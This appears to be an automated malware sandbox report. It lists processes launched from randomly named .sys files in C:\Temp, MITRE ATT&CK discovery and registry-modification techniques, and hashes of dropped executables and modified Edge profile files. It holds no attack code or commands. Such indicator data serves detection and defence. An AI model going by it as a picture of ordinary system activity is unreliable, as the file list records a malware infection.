C:\Temp\jdbvtolgdy.sys
C:\Temp\jdbvtolgdy.sys
1⤵
- Executes dropped EXE
PID:2408

C:\Temp\fdyvtnlfda.sys
C:\Temp\fdyvtnlfda.sys
1⤵
PID:1288

C:\Temp\dxvpnhfaxv.sys
C:\Temp\dxvpnhfaxv.sys
1⤵
PID:5964

C:\Temp\usnkfdxvpn.sys
C:\Temp\usnkfdxvpn.sys
1⤵
PID:2772

C:\Temp\zxvpnhfzxs.sys
C:\Temp\zxvpnhfzxs.sys
1⤵
PID:5416

C:\Temp\rmhezxrpjh.sys
C:\Temp\rmhezxrpjh.sys
1⤵
PID:5804

C:\Temp\omjhbzwrpj.sys
C:\Temp\omjhbzwrpj.sys
1⤵
PID:4156

C:\Temp\wtomgeywqo.sys
C:\Temp\wtomgeywqo.sys
1⤵
PID:3564

C:\Temp\dbywqoigey.sys
C:\Temp\dbywqoigey.sys
1⤵
PID:4832

C:\Temp\aytqlidbvt.sys
C:\Temp\aytqlidbvt.sys
1⤵
PID:5488

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

bvtnlgdyvq.sys

Path C:\Temp\bvtnlgdyvq.sys
Size 293KB
SHA256 b837be6ebd72873c59fdaf3a85e08d793b47863f1620572ef238bfa4c1e3d780
MD5 d2b16ac6ff3efcf5f9f11a81d956e37c
SHA1 0be156a3899c07e9e7e156428ca9c0abb613ac20
SHA512 628635fac2961d1319bd4a17cf4fa6af1b66b34ef8ba22c34ba655df4808da52cbe3182b8a6a4d56c187df1bf25c85cc57619a13c018d99101b36bcf2a27d47e
SSDEEP 3072:itKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:iIJjiJcbI03GBc3ucY5DCSj
TLSH
T150545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

causnkfaxs.exe

Path C:\Temp\causnkfaxs.exe
Size 384KB
SHA256 fed86c5088e81533e2a3954ceea9b5512271a11aebae6e4b40ea4ab5c6e5f6c7
MD5 2a56ea800d1f9beafcbefba1c24dd6e1
SHA1 947f3db411ffd76f17b38f9478aa75c2716543f3
SHA512 620d1f4c9ff68c4a1f5bb6f53d85e2591b9144794e9fee2b9e45674ab3cdd41a53e30ff90094b1972afdde6f4a25c027c4af04c6b56aee5cc0ccca14d58bab13
SSDEEP 3072:n9ctuJAaM/4yjtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pq:9ctFtIJjiJcbI03GBc3ucY5DCSjX
TLSH
T19D847B00BAA4F0F6C995047800DFAF36A67EB4281726CBC3E754CE5D9A513C3A93579B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_causnkfaxs.exe

Path C:\Temp\i_causnkfaxs.exe
Size 384KB
SHA256 f8e750ca84d135dab790563087e460c52f8f2ee2cffb2e4b9f201e6c76dace28
MD5 eec29a21b48a61b5cf69900a09037e72
SHA1 c1bb32ec0397d377d248fc27eb425c98096e3c94
SHA512 03477ab38ace39eeb8cc8de95b484fd1771004ded2146c0b48feb4467f41d983c13a725beddd9d044a58c63f16406ee2a8039b4aabdb0cfce5fbb6b9f3dff2bb
SSDEEP 3072:S9ctuJAaM/4yjtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pq:octFtIJjiJcbI03GBc3ucY5DCSjX
TLSH
T1F6847B00BAA4F0F6C995047800DFAF36A67EB4281726CBC3E754CE5D9A513C3A93579B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_jdbwtojdbw.exe

Path C:\Temp\i_jdbwtojdbw.exe
Size 384KB
SHA256 fcc480ad333a4666df8ea2e44df3a58f916d6f8dec36420d89f0cddda2a0fead
MD5 99c0764aacf5b5264dd53fd23d64964c
SHA1 2690aa4b7e7d02fbdf8ac1bffbe040f702c431bd
SHA512 8409061dcd850553ff183258dabe997677f1d5976b89bc300f0b8255f60e255c3fbb28c429ceb6ad612a19d7e9bc8b9188edda67d3459929511890d4aa6b6b5e
SSDEEP 3072:O9ctuJAaM/4yjtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pq:sctFtIJjiJcbI03GBc3ucY5DCSjX
TLSH
T10C847B00BAA4F0F6C995047800DFAF36A67EB4281726CBC3E754CE5D9A513C3A93579B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_qkidavtnlf.exe

Path C:\Temp\i_qkidavtnlf.exe
Size 384KB
SHA256 52512997eb0e824ec19db03d662dde2711915f14dc76c50e5c9ba8aff051a83a
MD5 bcaa0638d72f1bd9650745d48922dd82
SHA1 16efff8440bef89bbb3e9b444ac308883a8c9d4b
SHA512 be711fe9ac94fef57106b411b2b9b33228be9d3e4bb50db93fb39c1e484319f1eaa37883dc94b4740af10bc99a4e147e38b3806c58aa34c3dc4b110e9f5efb22
SSDEEP 3072:I9ctuJAaM/4yjtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pq:KctFtIJjiJcbI03GBc3ucY5DCSjX
TLSH
T1B8847B00BAA4F0F6C995047800DFAF36A67EB4281726CBC3E754CE5D9A513C3A93569F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_vtqlfdyvqo.exe

Path C:\Temp\i_vtqlfdyvqo.exe
Size 384KB
SHA256 3359610b8936411fac6a5f8af649c6f3a55cf79f55524d2d318d35c07d3ae73e
MD5 c592680ccaa54cecb93e7ed42d5ed42b
SHA1 592db341d02d7c8e43e77b5d8ad5f6ad22af74f6
SHA512 dfa84ba7dd43eb861278c19954d66d2c4c57ad518e4a5bd903e1ac50d5c99c5640079a0e6bc4fa94974a81678f95597c576d01cde9de7871f64ddfb0c1e4560b
SSDEEP 3072:p9ctuJAaM/4yjtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pq:DctFtIJjiJcbI03GBc3ucY5DCSjX
TLSH
T115846B00BAA4F0F6C995047800DFAF36A67EB4281726CBC3E754CE5D9A513C3A93579B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_wlgeyvtnlg.exe

Path C:\Temp\i_wlgeyvtnlg.exe
Size 384KB
SHA256 c6c5c8af235b8617451ce2344e98e1e4ea09e92893185c5a575e485cf272d2e3
MD5 e2b003de3aac345dcfafb6626559af7a
SHA1 373ede6a64858a634c44fb8403931cb864681b7c
SHA512 d03423c454b89cdb7e2aee158911c023118fe209362f22a854ac00cdca83925bed5a2d26984b035adffcfa8e4e5245cc461b9517fad321176d0430c4ff5b0650
SSDEEP 3072:b9ctuJAaM/4yjtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pq:JctFtIJjiJcbI03GBc3ucY5DCSjX
TLSH
T134847B00BAA4F0F6C995047800DFAF36A67EB4281726CBC3E754CE5D9A513C3A93579B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

icaxspnkfc.sys

Path C:\Temp\icaxspnkfc.sys
Size 293KB
SHA256 89215e2decc2b6b7fcaf8aa2665eff09f0a75c053980543f5546fddec1841e1b
MD5 ed43b595b8a10212bc9ecf7ea9d4d588
SHA1 2068f827e6a8f6d5cda8fdcd6772b5f69dc488ac
SHA512 778d37563bac9a7b47f01567486a9662f3372bfa67741cf0120a65770befe11e746a338b7c9d0323d734d46e7c7bf806e6f0c66def870e53fe8b307e063c3153
SSDEEP 3072:0tKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:0IJjiJcbI03GBc3ucY5DCSj
TLSH
T10D545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

jdbwtojdbw.exe

Path C:\Temp\jdbwtojdbw.exe
Size 384KB
SHA256 29a55d4df266ece80f3dc3c872ccdfab35f5e52ffb5e49dc57bdfe903c3f3037
MD5 84783332fe6d331b4860d56badd8c010
SHA1 0573198c878552aae11870d83a98eabaeae4b54a
SHA512 17c44679084d68e11b36bc9368d6dbca3f13acc6538ad675edc8adbd875f6e889bae25b3bfee0897b9fd531c0c82e9e584aee45d123cb16e5075d99a0cae7158
SSDEEP 3072:v9ctuJAaM/4yjtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pq:1ctFtIJjiJcbI03GBc3ucY5DCSjX
TLSH
T1AA847B00BAA4F0F6C995047800DFAF36A67EB4281726CBC3E754CE5D9A513C3A93579B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

jetolgeywrojgebw.exe

Path C:\Temp\jetolgeywrojgebw.exe
Size 384KB
SHA256 91f0c95b4814aed5737c6b52588a4b687a63be8c7981aa6278efc8da91e17ff9
MD5 94a018161a7f97af91172a9dda31786b
SHA1 49315118b6e0aa431eca85e3f435c1e35686d963
SHA512 d57d21c69e8be86bc06f59393ad9d9fe9b0a77d78b813380c618e0830222419cab190130db75d4778b3da074f83733bb6ee390724dfe471dd95e90ec42ebe8a4
SSDEEP 3072:09ctuJAaM/4yjtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pq:OctFtIJjiJcbI03GBc3ucY5DCSjX
TLSH
T188847B00BAA4F0F6C995047800DFAF36A67EB4281726CBC3E754CE5D9A513C3A93579B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

jetolgeywrojgebw.sys

Path C:\Temp\jetolgeywrojgebw.sys
Size 293KB
SHA256 92468704b8aa6977e3cd6848d999c4ff7f2ecf36c97c4d31987855b2b5e2cc39
MD5 21502bee2a5f0ee510581f4f2c7b5c9c
SHA1 4752134ecf6a264e6cf2cca5e23ba1a0f71b76af
SHA512 28a2f76d647ecd23c7807f6a0251830d659fb066a7f33974efa88857b7004bbab438241e8b457cc2783f19a4bfa7ae9e5ebe966dd5b70dec2a2a180971607eba
SSDEEP 3072:ytKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:yIJjiJcbI03GBc3ucY5DCSj
TLSH
T1D1545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

kfcaysqkic.sys

Path C:\Temp\kfcaysqkic.sys
Size 293KB
SHA256 239ad6d360f7d16de3f1c8501a80b80826c51dd85258ea2f1c08c9a307dff0ba
MD5 72afe96da10737077a3a116374ee7abc
SHA1 1f4b5f8cf7bd736d44252a576acea1b4a0b43b2b
SHA512 21b0a4c1e7719594197d8093e8cb5004e03c048e4952153fa072f1bb0f0fc5183123b8b94450a11d9f73cd4284dfb1ecd0891430e61267a62b27c3409f7430d2
SSDEEP 3072:2tKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:2IJjiJcbI03GBc3ucY5DCSj
TLSH
T1AD545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

nkifaxvqni.sys

Path C:\Temp\nkifaxvqni.sys
Size 293KB
SHA256 9dd35857b58a027645352edf8d4483cb6b88608332ea3ad072623ad43c0d19b3
MD5 7a8842fd92139481509426dc58647998
SHA1 ea667f0e2181f1d445a76b2d85fb27a682de303c
SHA512 3522f997483f73455eead16c7bfa0aee7d67279a0524a6817dd42896b91d3b1bc537aaec5e2313966e3b8d2e96524e063c484a9b51a5c01b5a474e92722f2870
SSDEEP 3072:dtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:dIJjiJcbI03GBc3ucY5DCSj
TLSH
T175545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

qkidavtnlf.exe

Path C:\Temp\qkidavtnlf.exe
Size 384KB
SHA256 988b5aa78af9d7dc7e38f7e66d0893ac9963063ba85352579c5b727b2ece97b4
MD5 bc29aa4a4ea2a1bb1a6c65e9a02e9423
SHA1 0b9357bc7aea1f91d2ce7734762d3d5c0d1956ef
SHA512 c2b53046ef897930c2a96f7ed95a9393828b78b647cfb0165330724c6bf8f6586fe35c93022d44d67ef299dce8d6834b6ce7fb0b8db4418268a30c3a567d5d1c
SSDEEP 3072:49ctuJAaM/4yjtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pq:6ctFtIJjiJcbI03GBc3ucY5DCSjX
TLSH
T1CD847B00BAA4F0F6C995047800DFAF36A67EB4281726CBC3E754CE5D9A513C3A93569B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

uspkhczusm.exe

Path C:\Temp\uspkhczusm.exe
Size 384KB
SHA256 095acbb59a0a9f75a23bf2da7e81c3695d404000e51ec66ebfc6cc430e10ed32
MD5 70298c036296ca447ac791f33a6d581c
SHA1 1a52e63f30b7a49adc8f366f26eee79b35039344
SHA512 ee8b5f85b01e88e29632f633bd2ab305f89fca1ce97c4a99563b60586def4c92b6d8ef3b212035ce096c07af47da843adc9b0c17e8d57b8d1e4789552659604e
SSDEEP 3072:09ctuJAaM/4yjtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pq:OctFtIJjiJcbI03GBc3ucY5DCSjX
TLSH
T120847B00BAA4F0F6C995047800DFAF36A67EB4281726CBC3E754CE5D9A513C3A93579B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

vtqlfdyvqo.exe

Path C:\Temp\vtqlfdyvqo.exe
Size 384KB
SHA256 a1d4ad856b32fa23442cab5ee21d7ae1f412f1d0049b31b43b587404c5d96423
MD5 ff22172399bdbdca4f76bac6429c6cc2
SHA1 439fbd2f238831cfed776d9ab9ceee0fd7481e39
SHA512 1ed392e1a8f530f28ba5d18c8ceb025e56346d5cb43b285235fa308542d2b77566f131b3d2e5c7569342ad8d9b35f92ed61b50c2672462aba5701f02ef04896e
SSDEEP 3072:b9ctuJAaM/4yjtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pq:JctFtIJjiJcbI03GBc3ucY5DCSjX
TLSH
T192847B00BAA4F0F6C995047800DFAF36A67EB4281726CBC3E754CE5D9A513C3A93569F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

wlgeyvtnlg.exe

Path C:\Temp\wlgeyvtnlg.exe
Size 384KB
SHA256 198cb0f8b3bc33fae355de63e5d72090f8bf06b2deb7d728c5e4ae1ab3d93968
MD5 87782857874a4f6f99bd8533860a4014
SHA1 f30d6dc7825a20be9336286eb958423e81dcaf11
SHA512 8a7c6c780ae548a5e649324e255f2db88b9f408ea91dcf14382af239eb00395a3f3fb7a42cccc113051b45e7055a10de8ed10edd9240e6feafed30f552840a43
SSDEEP 3072:U9ctuJAaM/4yjtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pq:uctFtIJjiJcbI03GBc3ucY5DCSjX
TLSH
T1C2847B00BAA4F0F6C995047800DFAF36A67EB4281726CBC3E754CE5D9A513C3A93569F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

wtolgeywto.sys

Path C:\Temp\wtolgeywto.sys
Size 293KB
SHA256 e0a91bed74aa26d09e8ed07bcc8d75bc05f04df40be250b1a8dc2a027fadade2
MD5 b8b6713b35df7188bbc2e4b1ff83aa48
SHA1 dc1b5e322d8814cba83d6a545cad4db6f3a1d8e8
SHA512 08dea7eb1bde4c15a8534399faac97f69af2126d46adaca82b4dd24de8d192554556e2ce14062dbb94515c2d9c10815dcbf2c56bb6f94b624a2c4ab88d5f24a1
SSDEEP 3072:btKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:bIJjiJcbI03GBc3ucY5DCSj
TLSH
T180545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 8aaa68aad07ba45abe53bd513aa5f7e7b21bd1b29db6e1d5c1e0a79a5f4eb890
MD5 74012bbce5fada7634c1da1b567562b3
SHA1 09db27f38f27e35986cfd407b57f6f83c8fc59f8
SHA512 c1a6a98f972793c84274c29552107bfe07b775c7c8121e5fdf137ebf9a7cc3f4eb43fe9eadfc842e7b92ca7281bbcea3d660bdd8fc9adc56add068510c41e48d
TLSH
T1FBD02BE07640890CC980203335F75240920189108401D1480040F335CC845C1257E0CF
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 e413e02b9e80ee8d76d52c1043fc32251e2d7634d4b2fbd970df9ace9d91831a
MD5 22959b3a06a842ac30237dd57e8a3801
SHA1 0b7c28071a592034aa2607038000f085c7bb6362
SHA512 644add9ab912ad7fdfc55bc7a1b84482c75cc9bc69a59d169bae63a0400619d999846ebbadb0ef2bd6d35c2bd08a5f07053b600874dd5dfcbda7e8f3076131fe
TLSH
T1A5D02BE476408A0CC980203335F6524092018910D801D1480040B325CC845C1257F0DF
MD5 SHA1 SHA512 TLSH

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 2KB
SHA256 f73e50295f1963bfd27b512e4224e4965013a932b9037ff2e7160c0fc4a08652
MD5 bbce31204e7a86af617cb8f2fec26ed0
SHA1 bb520b6a75c2d39488f45c4227c380fd47845491
SHA512 a4dcb9649e8ef555c95b646c44e456d41225c2adc735eafcf6f5504bb2b31ba18bb6da59d75edc94f36ec6347b43bef1fd47a568f64c7ad9aacbff365639915a
TLSH
T194410D58833CDFCDDBA409B1BCF0C6843ABE98CE1307AE50D4A41BBC5A02B844991193
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe59a7fe.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index~RFe59a7fe.TMP
Size 2KB
SHA256 c5650d115cd500b804bb4fabc6703d850a60afa5d6d6677a8b08f58db3a52d73
MD5 010d3b8ad3dd80a592ba2bb350e634f9
SHA1 60d83704c0da15e8b6fd442c082d1c808da8888d
SHA512 3b0b6fb50067ffc5539db34468e024e398478d64f3945dd155396be3f0358525d2372cfe1e1137da0a93fc148d2eb48a3b827b35b3f1523500feeef86fd8f899
TLSH
T13B41ED58837CDFCDDBA449B1BCF0C6947ABED8DE0707AE50D4A41BBC4A06B845991193
MD5 SHA1 SHA512 TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

Edge Profile.ico

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 2KB
SHA256 67c7ee6555467e354db90ee0cf02da524caf0ebe1faf324172d2bee7e09b5fe5
MD5 8c52fafde661168d587285a08c677479
SHA1 63367bcdbbc6a33f722151cb14020a03da3fc8ae
SHA512 f8e7d13cb0a6af9be4cce3cab75dde8a4c30da02501d601f3267cd62d747fb1551a14236fc09f9a9be58a753fa0d6633edb1e6444ad6317b72b09d3e2ec2c56e
TLSH
T15441AFF7C7E8D52D890156F4BB186E2BCE1D0954832C3D5AC8E4AF1B93E24B1E14199F
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Sdch Dictionaries

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries
Size 40B
SHA256 6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d
MD5 20d4b8fa017a12a108c87f540836e250
SHA1 1ac617fac131262b6d3ce1f52f5907e31d5f6f00
SHA512 507b2b8a8a168ff8f2bdafa5d9d341c44501a5f17d9f63f3d43bd586bc9e8ae33221887869fa86f845b7d067cb7d2a7009efd71dda36e03a40a74fee04b86856
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 14KB
SHA256 d2cbc0c0f82678a9d61a9ff20c7ec548d1f3467e8ff45c881ff7a045fab4671a
MD5 64946ee7baa324eed8e991c401bf5922
SHA1 9425d341a63c5b608d34f74ab037e4368a8662d8
SHA512 b6d265248897e09708efb9265e1e0b00bc5c6a69737186f9d529b16968e64366b0f2ef40a909da8c3bdbb82f997e361b26a0dd5e04f2326680e67b5e8ef34dd8
SSDEEP 192:sxR1RoyM/jK1Ml8wCC/fYs0MrC+R5ZRClzoA8p9Z/g6+WNCQH/Ynm3hNGIIgV+J:sxR1O8C/fYsnrC+RXRCIT/5J/zRzs
TLSH
T1D162E9196A345D778CDBD209FA567F53D6F81563E2901E44AAFC8E0C04E6AED2213C1F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 14KB
SHA256 df4855ec0fd9dcd4f1faf305c1a3d8bb031697a58be8c43e2b65f855ce5a573b
MD5 67fb7982ed374af6c383856dd5f2b50b
SHA1 e330bc3505ed05a9fb9f338195c2f6a35f762b26
SHA512 2cda6b1f244d7feb231f6d0eeca42306dffd6a87442d606e6e1212de4f03cedf8fc680a29227e1465a07dc675c9432ebbf3fc1ac16dc7d564f05f956d32ede23
SSDEEP 192:sxRKRoyM/jK1Ml8wCC/fYsNMrC+R5ZRClzoA8p9Z/g6+WNCQH/Ynm3hNGIIgDR+J:sxRKO8C/fYsWrC+RXRCIT/5J/zRzE
TLSH
T12762E919AA345D778CDBD209FA567F53D6F81572E2901E44AAFC8E0C04E6AED2213C1F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 14KB
SHA256 45b79fd767315c6f53ec0953ac143c1e14c75e2cfcd011da30cf37ab3eef0f0d
MD5 8b6539a3a07df796aaa70c999816ceb2
SHA1 6b791d3e29ce625e511502721fddd0ae9f8afc7b
SHA512 ea3118d55ec647e79123069f743e2a4bf48638e5e3482c678f23e5382a40825f11579b09ddaa6ee7623d4152e722ec1c01ff3d7daa5707d34e939b486771acee
SSDEEP 192:sxRKRoyM/jK1Ml8UQeCC/fYsNMrC+p5ZRClzoA8prZ/g6+WNCQH/YnmYhNGIIgDu:sxRKOqpC/fYsWrC+pXRCIV/5J/zOzq
TLSH
T10762E919AA345D778CDBD209FA567F53E6F81572A2901E44AAFC8F0C04E7ADD221381F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 32KB
SHA256 c4481dd0297611f6c4dd4bb0ee01bf65e25a44292d702f71f85c04fbecff92a2
MD5 03035c4c7543a252f28221f81a7702b9
SHA1 0b3aef24aaf95e4393acdf03261f4ad9f5d99e7a
SHA512 9ba166bfb2470ba431592025b51ce0587cca0a6328d0a07284f60dd007ee112c34c849a52604efe6bf727b511414f70f3ee9473eca65de758a9d0df74690546b
SSDEEP 768:wGedqg7pLuL7X6WgoufDM8F1+UoAYDCx9Tuqh0VfUC9xbog/OV00Ou4YxroSK8O5:wGedqsE7X6WgoufDMu1jab0OVYKzT1v
TLSH
T134E2EB3B680CCB7E4F804EDDEC29BE9F6DA801CB5AD8895447EA840C03C67EB55165DB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sync_diagnostic.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\Logs\sync_diagnostic.log
Size 4KB
SHA256 4b2376931aefad9cbfa34d22e0116a0f6c3f7230c52e31b173631b4c1ab409ab
MD5 f8909d4cc1f7b7a91f3927a177509dc5
SHA1 1abfd80165120986fe483e82c1d48198067aedac
SHA512 171393247b3605612356aa0b8c537f152dc94589c7b171f55ba84607770114a49b439530d8cd1706ed369213e759aae9b5072ce1d8e4627766f9d659051c21d0
SSDEEP 96:KRwBUAyeSIWWLbgIIK4Ng6Icoob6AFHjsJ9rhhdW18qgjbK4igtbcx50HPoHpm3m:CwBUAyeSfWLkIMNg6noob6AFHjsJ9rhS
TLSH
T16D91F345317E02813C7EAA0981F99C1EA3C178E23565B42F77E901E65F66E038EFD9C9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

951d1256-131a-4e73-91c6-b27951570e5d.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\951d1256-131a-4e73-91c6-b27951570e5d.tmp
Size 22KB
SHA256 d988156066b7fd22de278fbc96759d2caea6552094ffeb2ddd9307806059c5e4
MD5 f768bcb451a187c18099961c484eef8b
SHA1 99472c2d1918ea56c632734bc5c8a89ae6d2551c
SHA512 a4d78de6bcc1e940c466c41c31ee100235b32fef4cb3e7815a9c62dfae1eb3e4588d2c9e8597152ad7754527643c59ea8b811277ac58e4134a3dbf1507fe97bf
SSDEEP 384:90JOk/FY7A42lagbkDtCkQ7wDThH/64+hkmbA6BQpGMgSVlkFIum1z4tfLTvq/ue:WJOk/FY7/2lagbCtCkQ7wDlH/h+umbAJ
TLSH
T131A2B81DC81C7E3257CA2F7D6A2F9DB276DA30CA7080459A7E8CC54DD31B0AD56862BC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 38KB
SHA256 74eebaabd111654eb19af20ab1c90896b55138df1874524052c0e0d4153f518f
MD5 4a98c75046665028a3b3442a3456249f
SHA1 9c17e3e6e5182f917bfc7f9f6278664e52ca1dfd
SHA512 2a29dbef02b0eadb26eec7cae21c136ef44452fd28ecf56764ef72e5fc5fea1785ca13fe03ebb5d7ca3a1f619ade7ea7c9ff259705b4039287c37928a2ad82f2
SSDEEP 768:6rv+4UNbds3fPDZIO0W/Nzc4ReyIsXueVH1S5D:6bsbS3btc44bs+EH1Y
TLSH
T18103CE32E8788977ACF66785B50B76533EF8912782981B90C9DE2F0C4A4B1DD131F927
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 35KB
SHA256 45c481f34072eeb1065bc9b109b688f9f0edccd91cfe20f9a6ab00b84be708c1
MD5 0a4584637a48fea85740470cab5fa5c3
SHA1 2f287bfb008f1240e8ea0d58daf75ce36f0e3396
